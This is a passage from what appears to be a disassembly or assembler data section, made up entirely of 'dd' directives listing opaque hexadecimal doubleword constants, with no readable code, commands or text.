0C0E5C040h dd 1D30CC7Ch, 541A0E4Bh, 0A0DC4B11h, 5760AEC7h, 23B5515Fh dd 1E87628h, 34A80459h, 2FC23010h, 27C42AA8h, 1EB20067h dd 7E66D028h, 883ECF5Ah, 5B2161E9h, 89678C68h, 0FCB789C3h dd 78F273CCh, 0DF27AC56h dd 43DA9E32h, 0CB585421h, 3BD44575h, 41CA9EF8h, 7B35C468h dd 0FE9600A6h, 0E64946CEh, 0A65E90Bh, 36598F7h, 11432568h dd 0BA071898h, 79375FA4h, 4EC4F546h, 1FCBB07h, 3C313932h dd 67E9B047h, 8E59BF02h, 755D5BC2h, 0B9877751h, 4E151B54h dd 0F66941FFh, 7D6E8E2Fh, 0D6E9077Dh, 0E3A9A45Ch, 0AE6FC282h dd 29AFD2D8h, 2DCA6102h, 38B133Ch, 2CE922A4h, 0A5FA8D73h dd 515B6EF2h, 278901CCh, 0A2FF58C1h, 0E648BA7Bh, 0FE2925F6h dd 124B14FDh, 0DD8F5DE9h, 0CAB77F07h, 63AC144Ah, 725FA800h dd 0ACF38165h, 0CCA10DD6h, 2EF7296Ah, 2B3129AFh, 5204688Bh dd 0E5E4E8E9h, 984D0128h, 25BB0045h, 63F01659h, 0FB7A0157h dd 272DB30h, 98967775h, 0A2792220h, 5A587729h, 0FC5B739Eh dd 41E52DCCh, 95DAC2E8h, 4ABBA020h, 0A000BA05h, 2F142D5Dh dd 0BC174AD2h, 57074036h, 43386812h, 2102CCBEh, 121B0480h dd 0E058C628h, 876403D4h, 88AAC86Bh, 0C4089FCh, 0B4744EE3h dd 594BCBC0h, 8A2CB444h, 0F6D58112h, 6AAC60D9h, 7FF10BFAh dd 0A9F8BD39h, 3A679D63h, 4CBCC2Fh, 68C8BF0Fh, 88E3EF81h dd 0E821E2Ah, 8058E728h, 0CE641D6Fh, 2ABC89Bh, 764EEE94h dd 0DF5800C2h, 3A22E0CCh, 0EABF0B5Ch, 5FD05D42h, 0A2BD1813h dd 0C20AB4BEh, 0D97E7117h, 103616FBh, 0C06B08ADh, 76C138F5h dd 3348BDD7h, 59BD4337h, 74C9CFBCh, 0FF252074h, 7E91269Eh dd 0B237908h, 6209D731h, 98A9F05Dh, 7510FCACh, 847597BBh dd 81F14973h, 58C2E67Eh, 0B652820Ah, 6F8457F6h, 0FF96B18Ah dd 3E9868D8h, 5A704706h, 5E0D99B8h, 8F12BC31h, 9DF757F2h dd 7DF6EE25h, 9B5F6B2h, 0B273AFF4h, 0A6D1D4EFh, 418628BCh dd 7EB30EAh, 161F63EEh, 0F07BF589h, 0FB75FAFBh, 261AA5A6h dd 14A6F747h, 5E099910h, 0F42215Bh, 0E298E5F5h, 0AD002AD2h dd 0C976C968h, 0A05E7B53h, 9F2F142Dh, 7615325Dh, 0CFDD8B4Ah dd 0B8811650h, 0BECD7067h, 135008E9h, 4EDDC8E9h, 92242E23h dd 27F4EA0Bh, 0C616200Fh, 0E6A5B727h, 3FD60B6Dh, 4A776654h dd 0BF4C5D6Ah, 4E7B732Eh, 44231D82h, 0F7F86826h, 2CEBCD1h dd 0F95CA6C9h, 97FE5257h, 0E9DB0175h, 0B88ED918h, 0BEFDC588h dd 0CB82E2DBh, 27AA4502h, 15682730h, 94723C4Eh, 9CA584Eh dd 0EC2CEE0Ch, 461CC1F7h, 0FC5AC129h, 3F49E47Ch, 5A170053h dd 27153602h, 36CBD5E9h, 0DFEE72B7h, 0D59555F2h, 0CC72928Bh dd 403C3804h, 0FF522948h, 0F52DD64h, 5B2E4EACh, 26FC270Dh dd 13BAF25Ah, 0E4FED0C1h, 2D813D93h, 7185F86Ah, 258F7CB5h dd 0F5271259h, 45A8E21h, 6EA22B12h, 390453CBh, 0B3831D3Ah dd 0D1D820D2h, 2901A1F7h, 841579C1h, 6858A093h, 80188FB2h dd 206F5E2h, 0E6DA5AF6h, 6B210F3h, 550B5525h, 107360D8h dd 5A59CEC2h, 3FCC875Bh, 45D6C287h, 0C97FFBE9h, 19BBBF3Ch dd 57D16930h, 0D2C89CDCh, 264A012Ah, 7B65EE3Fh, 38047BC3h dd 0A6CA2820h, 4B3B190Bh, 36EC697h, 8EF3B854h, 0C33193A0h dd 892875A4h, 0C840B5DEh, 6799758h, 0B8A20316h, 0D685080h dd 154C797Fh, 171E3E14h, 46422602h, 572216E9h, 1626D37Bh dd 0F980FEA5h, 59387A0Ch, 0C3E16259h, 8DF3090h, 2650D6E6h dd 84E082BFh, 8007C8B3h, 0D3F6C0C3h, 7A1452A6h, 0E2EB254Dh dd 3A89A7D6h, 7EB37F1Fh, 577820D2h, 60C7292Fh, 7D9F49C2h dd 19822D7Eh, 0B13EF06Eh, 15B493B0h, 3CE09BBAh, 0C5E430E9h dd 0F502B15h, 272A0569h, 30FF338Eh, 0DB3558CCh, 2F776B16h dd 0A14C44FFh, 0CBAF17E1h, 4CF589Fh, 6F6A180Fh, 0C403F2BFh dd 0EC84C801h, 0CAE91303h, 0D11A1D06h, 0FB3ECBE0h, 97BEFF5Ch dd 4154D69Dh, 1227470Ah, 451261E9h, 2FFD7BD4h, 0A220B84Eh dd 56F97D59h, 10B95162h, 3C0BED81h, 7761A075h, 17089328h dd 0C525E259h, 0A7EAB9BFh, 0D8280042h, 3AB05052h, 0A8F54F68h dd 84B6CB9Fh, 0DDD5395Eh, 5C5E672Ch, 0A381AF59h, 825BBA42h dd 8496B90Ch, 80E15DE0h, 0BEDF542Ah, 0D2C94AACh, 0B6851B48h dd 5BD0F782h, 1DF58014h, 0BE055EDBh, 47CD51A3h, 17FEFE1h dd 0C68859F6h, 0BF07F58h, 21D84A31h, 2A6C680Bh, 0CA6FE5D2h dd 0DF7A897Ah, 0D7279515h, 0DC9584E4h, 0CD5292EBh, 0AD0DA7FAh dd 2520593Eh, 0A8B94A45h, 52818C2Fh, 7F1177C2h, 0CDA82775h dd 0FD885171h, 4762FC7h, 262768C1h, 1A32C258h, 6AFC680h dd 79DBC177h, 72781531h, 5DAB1F5Bh, 491CE6DDh, 0F5414E8Fh dd 691EF22Dh, 0B60D81A7h, 83A8EFBh, 510201CBh, 5FF7E2E9h dd 24FEFA27h, 9700B2F1h, 0CEB21EA8h, 7DC5B2DFh, 0E042EF74h dd 0B8757B90h, 309E995Bh, 0EC955A15h, 557520D4h, 2E31BF04h dd 0FAF21BEh, 2C456EAh, 0EBF6FFD6h, 0DC14AF5Ah, 0CB120D89h dd 0C52ED02Eh, 0C28BEABEh, 497564Fh, 0EA7377h, 0A96FF4BAh dd 0BA12F452h, 8D42BD30h, 0E8891441h, 76C06156h, 5A213AF4h dd 1179000Dh, 703538FCh, 1B34AB29h, 0A8EE8A31h, 755CE2F7h dd 39F04C93h, 0F7974C48h, 8F643DA1h, 0B40C2002h, 2FB8BAD6h dd 78E41710h, 697E3048h, 0C0E7621Dh, 250B5B28h, 47F237F2h dd 1B56ED60h, 9F5DEB09h, 0DD00E58Bh, 0C084042Ah, 69B0214Eh dd 93395ED1h, 69E3CFD9h, 55BA4FABh, 557E89DDh, 0FE551A3Ah dd 0B9D5C18h, 2F6771E8h, 8B124E76h, 0A6F1360Ah, 22FA0820h dd 0C7A32397h, 0F198C989h, 0EFD0167Ah, 8A5C8C80h, 166F7F44h dd 0BF2C8BE8h, 7699C48Bh, 0BBE25571h, 611756C0h, 0B1358DAh dd 59F00B4Eh, 0B425F3C5h, 2AFB9FC4h, 2B65C2Dh, 3B471F2Fh dd 0F858C248h, 708521BCh, 0A61EC624h, 9FEF8017h, 0F65C2704h dd 0B1FAC4CCh, 48F92081h, 0C3EBEE2h, 1EA01B41h, 3C700B4Fh dd 13D06033h, 0A508C151h, 830AD51Ch, 67583858h, 582831C1h dd 0F7FA6059h, 0EFF7D1BDh, 66031008h, 0CAE1285Bh, 1F6A5FF9h dd 425AFC1h, 0A2BBD3D5h, 68E98213h, 0B53DF9Ah, 95520A7h dd 135A1C57h, 0A30B5368h, 56C91264h, 0BE4E5FE3h, 97D48785h dd 6497E8EBh, 0F8D1B5FEh, 943852E1h, 4108701Ch, 0EED359BAh dd 0B60F2A30h, 0E904BFC1h, 8CBB6B1Ch, 0C5413798h, 2262B17Eh dd 0B68B5F63h, 248BB410h, 47963356h, 0EBA40EE8h, 2D401382h dd 6DB83026h, 51020827h, 5F1AB123h, 6C7C314Fh, 0C5B80E0Bh dd 2078EB0Bh, 261A353Eh, 2D580715h, 49F147F5h, 9B0E707Ch dd 13E494E0h, 4FF82959h, 5EF3B2B7h, 958201F6h, 5445094Ch dd 0E568892Fh, 39933171h, 0B27F96A1h, 5B25D918h, 402DAE2Bh dd 0A210F97Bh, 5D0BF55Bh, 803796D5h, 2F9BAB0h, 0E965C019h dd 12FDBBF6h, 0B3665DC8h, 0BD1276DEh, 0C23B3AC0h, 68841B0Fh dd 61A24C03h, 442C326Bh, 0F78CAC08h, 40CDDB8Bh, 0EE2C8073h dd 0C51C9D2Eh, 0B151E604h, 2546ABC1h, 2FF3BA03h, 861983DDh dd 385E09ECh, 9AB8A187h, 96CC9DC8h, 7028E897h, 7B46820Eh dd 8A4F20F4h, 54274DF7h, 0DECBEDFEh, 0C3410E97h, 0FA59C417h dd 0B0577D4h, 5EC95CE9h, 5029051h, 57C1306Ah, 6C4B9968h dd 0CC2EDACh, 1AA2FF9Eh, 29F5FAF1h, 0CCD05DB4h, 6BAF6814h dd 74BBD6EAh, 1E8BE29h, 104BAD4Dh, 0DC25C83Fh, 46D35443h dd 6969B9B9h, 13671028h, 34B5D2Ch, 45D94B12h, 69580BE2h dd 0AFAC474Eh, 2488C374h, 0EE73C255h, 273F970Bh, 7062DF13h dd 0F1750809h, 12FBE7Ah, 0E3172E5Fh, 94C96D53h, 14377DC0h dd 20E7B099h, 5F090DEDh dd 1B5BD468h, 5960144h, 0B974BA7Ah, 0FF0BA509h, 90C817E1h dd 4D4C08AAh, 2E864175h, 0B55207EEh, 0A10FB4ABh, 0B3372065h dd 0BC37901h, 4F47DFF7h, 7441FF3Bh, 0EC24B282h, 0ED35902Ah dd 4A2F3E19h, 13851BAEh, 80CCE90Dh, 3248BF64h, 12194B3Dh dd 8FE27FC2h, 533484h, 2D38F181h, 0F807765Ch, 4A611FA8h dd 69C9013Dh, 2076FD27h, 0BEB92281h, 0BD64664Fh, 0E35F4A6Eh dd 0DD50CB39h, 15687048h, 4A3B6963h, 0BD517642h, 8A892276h dd 1B38DF71h, 5E95055Ch, 33F12767h, 99AC662h, 0BF09505Fh dd 7E27FFD6h, 136D6276h, 0B0DE8902h, 135A5683h, 0BDAF75Eh dd 0F50206EBh, 2D00B1BEh, 16551723h, 10F00125h, 0E90B08C3h dd 771AB8D8h, 54C558DCh, 0D6732782h, 0D61C4F13h, 0D84EF490h dd 8E5B43F0h, 0C2A4CAE9h, 7974F98Bh, 1354912Ch, 0F94688E9h dd 0A1512A4h, 34C899EBh, 10985341h, 8291D02h, 7EB2E922h dd 0B9CA8197h, 0D8773073h, 351286E2h, 0A50164D8h, 0D768E717h dd 3C62E43Bh, 0E1D25B9Fh, 34EB7FE9h, 0D03515Fh, 0EE295323h dd 857E025Dh, 4030086Fh, 738EBA7Fh, 0E05C1720h, 0C22F68CAh dd 4E871842h, 4043916Ah, 620DBB53h, 5E16B627h, 732D0181h dd 0E0767952h, 7A205E8h, 415DA88h, 0D2CDF7E9h, 476954C4h dd 0FE152F3Ch, 0FD668B60h, 0AF581990h, 0C2BE32D3h, 0DF228D78h dd 24BB0037h, 0F77AD0DEh, 0A804774Bh, 7CA3EA29h, 0AE1068h dd 1FB51763h, 0C9580B5Dh, 0F2901346h, 26569DEBh, 5C0C50F1h dd 8839A692h, 0AFCF3CF1h, 0E5FA098Eh, 7E2D3FE5h, 5F214560h dd 0A30B1C50h, 775F09B5h, 0E8861534h, 0BDCED420h, 86DD0C8h dd 3CE82F54h, 352C2800h, 5A64FC05h, 5DFEC3Ah, 0E96F1AD1h dd 0BD48D41Fh, 0C25D2ED7h, 0C61FD326h, 0AB054AE0h, 32A42A87h dd 48FD67E1h, 6DB27D80h, 5355310Bh, 33524501h, 6C642E32h dd 444180C7h, 5350E656h, 4E1F0D49h, 6A4C9C54h, 5001850Ah dd 0F295D1E9h, 9A550A75h, 9FE0615h, 5605FDE7h, 610A1DD5h dd 429BA23Eh, 9DAD11CBh, 3E08C121h, 84B7909Eh, 0AD489F2Ah dd 0A3229344h, 0E3EE7C23h, 78D6F04Ah, 0E4E45Ah, 0D1624866h dd 0EC795F7Fh, 0D45B20C1h, 8CC42AB7h, 3C1600A6h, 2127BC9Eh dd 0E0F9F81h, 0C0D3A03Eh, 0B34DFD59h, 53C60316h, 0D8D2B9EFh dd 22F0EEA0h, 8062F63Bh, 0C9BDA410h, 0E5CDEAh, 2A6BFA56h dd 0E3C263A2h, 0D3168E00h, 45BC51B2h, 0C33400D5h, 0A4094B6h dd 1200DA3Bh, 0ECCBBBA6h, 0B58479h, 187D36A1h, 90F6EB49h dd 2E143300h, 64A5B49Eh, 582D005Ch, 0D1308E8Ch, 50036F4Ch dd 8A77C11Dh, 0B00B9324h, 1BAE94h, 1EAF9131h, 12333B2Eh dd 449A0302h, 7C4BA8A5h, 0C4033D5Ch, 0BC0E3492h, 90BA0900h dd 91BF1032h, 0C20F3031h, 0BD2E0118h, 0C6E4701Ch, 0E0FE5480h dd 1CE365FAh, 4CDDC3h, 47B699A2h, 96A04ECBh, 0E1007D94h dd 9B1A6CBDh, 302469ABh, 0C6E6AA10h, 1300DD77h, 0B2115854h dd 724A2B1Dh, 0E865006Dh, 31B82087h, 4700C60Eh, 16890CF7h dd 862568h, 99390FA4h, 0CF6124B7h, 23B83Eh, 0C594F514h dd 0A0415F44h, 3889B6h, 35192849h, 7FB5A8A4h, 8001F301h dd 0CB302DBCh, 9201336Ch, 8EB41244h, 3A09803Ch, 3F90B210h dd 8FB11811h, 0AE811842h, 64F03D0Eh, 7ED44046h, 0E57A60h dd 0CC5D4363h, 36192280h, 4F4BC714h, 0FD140880h, 8D1D0061h dd 0C2A3ADFEh, 8012733Ah, 0A21997F3h, 492846h, 0EC0456Ah dd 0B4836C58h, 51C54100h, 0F8E109Eh, 766006Eh, 0FDDA72C3h dd 0D0C87D5h, 22527ED8h, 0A7C60047h, 2A20B496h, 9B00FA1Bh dd 5DED9251h, 4F0C0ECh, 58A3417Bh, 0FEDA934Ch, 0C2E09416h dd 4E1C261Dh, 0C949B800h, 74109DB4h, 3A980005h, 0A6A2351Dh dd 0C700221Eh, 1B3F20BFh, 123B85CDh, 0C27FCCh, 0AA9EC6Bh dd 0B5009328h, 0BF123815h, 0F25DBC8Dh, 5AEE0541h, 4014CE0Bh dd 7CC9F1B7h, 6F00EB1Ah, 380A8A40h, 602CB4D5h, 535197B2h dd 5B00780Eh, 0D968E877h, 2330B8h, 0BF891E04h, 0A547D635h dd 15787CC0h, 4293B5h, 756CAC0Ah, 3150FA4Eh, 1C63920Fh dd 7910201Eh, 90B714h, 9EA13A6Fh, 6ADE717Ah, 1DBADB39h dd 49C0C411h, 0E1FEDFFFh, 1B3200ACh, 9AFB0475h, 0A800A638h dd 5E707899h, 0EE7FC9h, 7EF359ECh, 79EDB564h, 3DE8D06h dd 26E205A3h, 80282CBAh, 0B69C3A14h, 8A122822h, 5C1217A8h dd 96503827h, 726CE875h, 76DC004Eh, 6BDD7258h, 0D44C654Bh dd 12913F5Ch, 2842C31Fh, 9029158Ch, 0B0507293h, 8203007Fh dd 0C1C5183Ah, 0F000B520h, 0A5C41B0Eh, 63EF94h, 391E41E6h dd 0DFF5B317h, 8AFB8D04h, 1F82B410h, 0DDBE81D9h, 1082B688h dd 1704D56Fh, 0EDAC1940h, 9200B5B6h, 7BBADDC2h, 9FFB1A6Ah dd 0C8832C45h, 74C95A7Eh, 75D7F46Ch, 0A1C8E400h, 0FE97C6E5h dd 3FD3A0C4h, 71ED1420h, 3A28F8BEh, 0C01C71BCh, 2CBDE2B2h dd 2700D484h, 401DA706h, 0BB88CDh, 0BCE1107Bh, 0B4FD5CADh dd 775Ch, 5D1B41BAh, 90509BE6h, 83CB0048h, 1D948DB2h, 6E3F577Ch dd 5C9BC87h, 478A83Ah, 0FBE39144h, 1F48EF0h, 0AD27CCEh dd 0C8E5C250h, 0B5483793h, 0ECE6707Eh, 3B0F7260h, 907DFF14h dd 9CDC00ECh, 0F6DDF3FDh, 34028CD5h, 1914477h, 17614060h dd 49C51438h, 12098EA2h, 0E780E9F3h, 168F92F8h, 273B56EAh dd 0A8B00ABh, 71FE4EDFh, 0E1A4482Ch, 11A82500h, 82C33584h dd 3F0DA00Fh, 0B298E02Eh, 362A3h, 22647DB9h, 3E0A9D85h dd 0E6EE2F03h, 0E7F4D6F9h, 0CC7B5F63h, 12A315C0h, 0EA2B1D3Ah dd 0C08E9FE2h, 438736A2h, 0F005EF6h, 62419DD0h, 580A2A9Eh dd 9818598Bh, 8607133Eh, 5856E728h, 0DF166161h, 37600151h dd 0EB400082h, 0EC8D0C5Dh, 915CD8E4h, 0AF87007Eh, 0E3829848h dd 58DCF4C4h, 550050C7h, 0F6EDA6Dh, 37488AB0h, 1ED660D9h dd 0BFC1D2Ch, 0B434AEDFh, 0D0FD5D07h, 0A1ABFE50h, 4E9CAC16h dd 0FAB15801h, 0DAF3DFh, 5C7ADC6Ah, 0BE4763Bh, 20D2664Ch dd 4969E7F2h, 20DA6E67h, 18A5C6C2h, 262CEAC8h, 0DA28801h dd 24B59B3Bh, 0FCC1CA20h, 51F3246Fh, 65BC00B0h, 0C8BEA3F9h dd 99CCEB09h, 6E04203Dh, 0F0138CFDh, 4CEF0CAh, 71D96B4Fh dd 0E3888067h, 78B088F4h, 0C842B30Eh, 910AE0E1h, 603EAF0Ch dd 68AD11E4h, 8EA00360h, 14C3E235h, 9A3FF6Eh, 1A296C21h dd 153D3A80h, 280086C2h, 0CA9BAD02h, 14A58Dh, 0B9EB038h dd 41202A7Eh, 7BC60C16h, 60076901h, 91506265h, 7E76FFBh dd 0FD51E1C7h, 626987DDh, 1960DFC1h, 310380A2h, 9F908323h dd 5575D86Eh, 6DE50173h, 70D86B4Dh, 6FDDC852h, 5D824F07h dd 919AAE28h, 40227704h, 0FB41D8h, 539DFC4Dh, 0CD9CB001h dd 0AF4CC602h, 80B763B6h, 21F24A9Eh, 5CBE0B14h, 0E2D0C489h dd 15BDAD48h, 1FB11670h, 40AC1E4Fh, 0A0088D8Bh, 0DF6DC08Ah dd 6651008Eh, 4B4986C3h, 45008F4Dh, 3996F0F9h, 98F111C4h dd 54A0333h, 78E71831h, 0A38609C5h, 4311A500h, 0B900DF79h dd 0DDA9C0D9h, 0B288DCFEh, 58AE81C5h, 0EA28C8F6h, 0C54800ABh dd 0B277B65Fh, 0AF01144Dh, 0FD1C2D1Dh, 5C718AD9h, 25588400h dd 64210910h, 77800968h, 5C601E3Bh, 0F881042Ch, 1170C107h dd 0E06F5321h, 3BF968D8h, 0C300A6BBh, 50F7DF92h, 35585862h dd 2B210ADEh, 459FF38Bh, 0CBC57D80h, 5A488524h, 0E77A0076h dd 0F5DBFB5Bh dd 0C9E9651Eh, 0D581551Dh, 0CEEC64F3h, 0F75DC8h, 224BE4D7h dd 0BFE1C193h, 4CFE7154h, 2EDEFC39h, 0F601D969h, 542AA4D9h dd 9EF3EC40h, 6B8C4h, 2E6FFE4Ch, 374F9AA6h, 8A00D591h dd 8FCC1436h, 2E52245Eh, 647F1F78h, 2ABC00A1h, 0ECF41524h dd 0F355EA02h, 6B5AEDD3h, 0EF62C84Ah, 2EB570BBh, 1912D480h dd 0D050D30Dh, 0E0E57654h, 0F8E46E4Ch, 4E745201h, 4D7353FDh dd 472000C3h, 1E3683E8h, 4A059AC0h, 3388AA08h, 0FC9FFF98h dd 53D1304Dh, 0DB879AD2h, 7C806FB9h, 9D822165h, 73D2168Dh dd 16DB0BFCh, 6D881403h, 50B5D01Fh, 4DFD4F40h, 58745683h dd 271C7E1h, 1C516E14h, 0D6415ACCh, 94DD881h, 0C998BC05h dd 91801F11h, 17CBAE5h, 7778872h, 0C447955Fh, 450D6220h dd 3C8DBE10h, 3C02047h, 1C85D7B2h, 54E1C5h, 0A0B1D031h dd 0B500082Ah, 0C0113797h, 195BD8Ch, 4E0653CAh, 208EDBFFh dd 2F0B6141h, 208DAB9Ah, 86CA19F0h, 0C91C0B3Eh, 0C9002483h dd 665DA036h, 6D6B7505h, 16C0FA4Bh, 2E272BFh, 0AC1DAB53h dd 254163F6h, 0EF4A20ECh, 8B077600h, 540A87E5h, 6B8A1A31h dd 1E64CA39h, 8018C73Fh, 9F2EE455h, 3B3416B5h, 7E00AEA4h dd 0F3426876h, 0EE01D061h, 8A5EEF59h, 76817308h, 0D3B8491Ch dd 3486ED44h, 0FC3E5050h, 1304836Dh, 0C8C2A2D9h, 260CBBh dd 2234BC96h, 3B1DBD8Fh, 82DCAA00h, 0C5FD8AD1h, 2D95020Bh dd 0C2425E45h, 40C0CCC2h, 0E80779DBh, 0F6674877h, 521453B0h dd 98200065h, 9425DD6Eh, 380F1AB8h, 25F8E1A5h, 3801908h dd 2C9391A0h, 99754Eh, 0B5A3B13h, 0BD04EAC4h, 1201D022h dd 87FE0D82h, 0E0209EC3h, 8AC0ADh, 5E695805h, 0BF5A7DA6h dd 7213820Eh, 0B60D2054h, 0ED46623h, 0CBAAEB7Ah, 26B71B83h dd 97F61788h, 921A385Ch, 0A04C9F0Bh, 0CC689A1Ah, 0E15103EBh dd 0CBE86CF9h, 0E8BA40D1h, 84040945h, 0DF7254E5h, 4770D8C0h dd 1B5A00F9h, 0C7EB97DBh, 0F4DD979h, 0FCC324D2h, 0E1006D92h dd 1AC91335h, 289A76EBh, 7F75CD2h, 5BF144EEh, 802A257Ch dd 0E90ECD31h, 9F1A7418h, 4CA2E30Ch, 6A006195h, 4294F548h dd 0DC003D0Ch, 19AAACBDh, 0C322637h, 5FBB2A0Dh, 223C2837h dd 0E44C8Dh, 6E540378h, 25E071DBh, 0CA8017A1h, 0B795280Ah dd 5EABA62Ch, 7B0702B8h, 0A471BDE1h, 35E1DC74h, 0F5E04C30h dd 262DFD7h, 4F7033h, 20307FC3h, 0AF9B2D11h, 22844A99h dd 0B2FE4F68h, 77532F98h, 2C742EBCh, 98C59795h, 0DB682C14h dd 2C300971h, 8FE4345Bh, 89DA270Ch, 4E7194DDh, 68D18C54h dd 20AABA4Bh, 8428F6Dh, 2FFB22D3h, 32BD4B68h, 0DF20E981h dd 4A7FECFDh, 977B3Bh, 0B89874E1h, 3A15A1C5h, 62C80306h dd 6700193Fh, 0AAAE4A2Ch, 223DF575h, 5AA28058h, 9847663Ah dd 1B0B007Ah, 0D918B8B5h, 443C7E73h, 3709803Fh, 208CEB7Dh dd 0ED5700C7h, 71C4EA65h, 0A2061526h, 11E83EFAh, 0CBEC38ADh dd 7DF52700h, 25FBEA75h, 71A5F900h, 0C5078B78h, 5E0300B7h dd 8137C080h, 5D62E4C6h, 0FF68FC3Ah, 13E992A3h, 0ECC45107h dd 5D80B0F3h, 0D2587h, 0EFACF9DAh, 414662B2h, 5A3AA900h dd 0FFCABF0Fh, 0C1811C36h, 70F0846Ch, 37F8EF5Fh, 0A5881400h dd 0D0B9662Ah, 0EF007F7Ah, 40F1E712h, 0B506840Fh, 0B46F1810h dd 2409D930h, 7E00827h, 2ACD801Bh, 60CBA057h, 509D79Bh dd 0F8FC068Fh, 0C8F4F5CDh, 0A4FE5873h, 0D2B70F05h, 59F2AF61h dd 1885327Ah, 94C0660Dh, 2460E913h, 0A035113h, 0ECB3006Fh dd 1D293DF0h, 9E3ED0FCh, 0A630E185h, 1C2BE9C4h, 8183809Eh dd 7AA451E5h, 8FBAF00h, 0EB26878h, 322C0FF5h, 0EF80C725h dd 383F7622h, 37B0D0F1h, 1B0420F9h, 32089D63h, 70ACC08Fh dd 0B1761955h, 0D09C213Ah, 686015ADh, 9A63B211h, 2DB7283Bh dd 72770C1Ch, 0A511491Bh, 411860E2h, 0D1816FAAh, 0E78185Ch dd 6AE7117Bh, 0EC34671Ch, 896ECA0h, 2F506B72h, 814C494Ch dd 0B3E71379h, 5020A533h, 226FE9B5h, 0BF014815h, 45570CAAh dd 36FCB72Bh, 7CFD1B49h, 42D7E0C8h, 8480687Ah, 0B7F32A86h dd 10790630h, 0CFFCF72h, 0AE012516h, 0BE1C3C38h, 0E2812F66h dd 327A3503h, 67146088h, 0BBFD1E3Fh, 102DBC0Ch, 0C1D76050h dd 0DB8BA17Fh, 9793A300h, 8E8988CCh, 9B783BD5h, 0A59A0778h dd 5E6F678Ah, 7B97CA81h, 0A284E073h, 0A00ED6ECh, 80D09D77h dd 91CF6832h, 0B6900395h, 0BE258681h, 0D071D0BFh, 9300978Fh dd 8A8891DAh, 149B9FD9h, 382CD594h, 0E39EABA1h, 18948ECFh dd 8C7B0A8h, 9586C899h, 0AA7100B0h, 9D7BDB8Eh, 9E0AB725h dd 8DB088A1h, 9BD97500h, 78BC7495h, 0DF6A3B80h, 0B56EA685h dd 8168032Ch, 86C3BB7Ah, 0DC8A39F6h, 0E18043Eh, 0F01031FEh dd 0C9D215B1h, 30AC87Ch, 1CF847D1h, 0B01BAB9h, 0CF753842h dd 31C252Dh, 191ED1FCh, 0E80A808Fh, 681208C5h, 0ECB23800h dd 0A3AD661h, 0DA317C6Dh, 0C266032Ch, 0AE464277h, 88D1770Ch dd 56FFC60Ch, 0AEF50D30h, 9059CCECh, 0F487C1A0h, 82414CB1h dd 0A0688D24h, 0ADE40B3h, 0F4299C19h, 8F828578h, 8B58086Bh dd 3B73E477h, 0F91D9EF2h, 0A8B00E4Eh, 520B9A24h, 42C6D38h dd 0CC9072B3h, 619FC9F2h, 0E8B52845h, 0D035CDB3h, 0CA3E9EAh dd 37EB34E8h, 0B709E492h, 808792CFh, 7D2AA8B8h, 282874BBh dd 9A0CEFB0h, 0BD3D4450h, 4CD4C213h, 0EFEAB000h, 0E86AAE86h dd 0CE250B5h, 0B63B1367h, 0B0144530h, 0AF580B04h, 2FF03F82h dd 0C311649Dh, 0A8D2A13h, 0A08C07F0h, 41CE42BCh, 9A10D2B8h dd 1890B226h, 19D8FD24h, 4CF33696h, 0E0A17CF8h, 0FE5464D1h dd 9047D020h, 8CC14548h, 0C14F7140h, 7D4A29EFh, 463E918Ch dd 0E893A0E4h, 0B7B526C7h, 0C8984C7Ch, 2190DD84h, 6833940Ch dd 0BA3111ACh, 30297313h, 0B79A88BFh, 84AC62E0h, 0C4249E64h dd 40942698h, 0E049AC2Ah, 3B57E912h, 28380C32h, 0A3D45180h dd 0F90A0C99h, 8D058C63h, 48A85F5h, 4CB96BA1h, 0E0D67588h dd 21F47810h, 1D240EB2h, 6A4062D1h, 0E9604B84h, 28234852h dd 80857322h, 30990F1Ah, 0A15E340Ch, 7F21C88Ch, 0B4F80C23h dd 1DA84A85h, 3191A18Ch, 0CD8D8042h, 0F20C1899h, 56AC985Dh dd 8FF6A89Ch, 0BE0DF351h, 0F2A0C9B1h, 72241634h, 761114ECh dd 0D2B22E08h, 1B4374ACh, 50615772h, 6544CC8h, 0B63C2730h dd 0EC535134h, 89816FA8h, 0F9B49115h, 3057D84Dh, 555836C9h dd 2C264CB7h, 7C8D3FA8h, 0F8FC5E46h, 3E48AA18h, 994B910h dd 0DA4BA039h, 34307803h, 576744E4h, 1322DC14h, 30B22D3Bh dd 8D841836h, 6360F24Ch, 2CFB70B5h, 0A09C48E4h, 18DA459Ch dd 3711673Ch, 51E4E626h, 9BC73CE8h, 79BDF43Ch, 3C73D854h dd 0EC6D8106h, 3DF8101Eh, 8E4B5200h, 85889581h, 713C6E7Dh dd 5AC31F32h, 83B07807h, 2CAB85DFh, 79801407h, 0E1776FC2h dd 8BE4EC24h, 0AD0E09E8h, 44B8C076h, 0B49835DCh, 8058E822h dd 4BA75C6h, 76DDF2B7h, 0AF70B430h, 0C2807AEAh, 66D540E4h dd 7D488EE0h, 51B31178h, 7C7E9905h, 0D3203C85h, 0F20FD246h dd 26104BE1h, 7640101Ah, 82873Ah, 3603C9A2h, 601F5F95h dd 1CF7220Fh, 0B7C5A0E8h, 0C07BA2EFh, 0B827B0D0h, 0EC12EBFCh dd 5800440Dh, 3EA6986Fh, 49817AB1h, 63015C6Ch, 0CDE1C09Bh dd 7675DCB7h, 0F0B15290h, 70F2F601h, 0C1D32956h, 91B82A1Ah dd 0FA6D160Eh, 8C86B960h dd 5004ABAEh, 8565B036h, 14C7A887h, 52498Ch, 0BB872A7Fh dd 0B3308B79h, 4E086966h, 77740021h, 0CDC69A2Ah, 5C023E90h dd 0E909A9B1h, 9F2C405Fh, 0D8358136h, 828243E4h, 0AF5FDFD8h dd 7E011194h, 80261222h, 0A03329h, 0D4DC30BFh, 14E93B52h dd 0B42649A2h, 5414310h, 0FD667F8Bh, 47235C2Eh, 0E367E04h dd 0D404C8h, 4398183Eh, 7ECD587h, 8B8C2E00h, 0E482FBF2h dd 710A0326h, 5630F07Ch, 289E24F1h, 608587Ch, 5419EC4Eh dd 0A9940110h, 41FE2944h, 1D0C62B2h, 7F22B876h, 358B00B3h dd 0B5956213h, 974892CFh, 6A8F0500h, 8C20BD3Bh, 0D8F9F4B0h dd 85962869h, 195F6788h, 1078B2EFh, 6900D30Eh, 724A3C5h dd 0D579BDh, 5E584985h, 7B50C71Bh, 2FD15F14h, 0AEF9C0BCh dd 6A6A4D9h, 0BEEF35ADh, 7F00509Bh, 0DF9464CFh, 35417E16h dd 0F616AB3h, 0E840FA38h, 0C95D5660h, 34A1E600h, 0C2C02726h dd 8CD7484Ah, 1BADCD0Fh, 417D821Dh, 20836BAEh, 0F0B0B3EBh dd 0EC905648h, 0F7C4ED14h, 39007AE4h, 65725492h, 49EEB176h dd 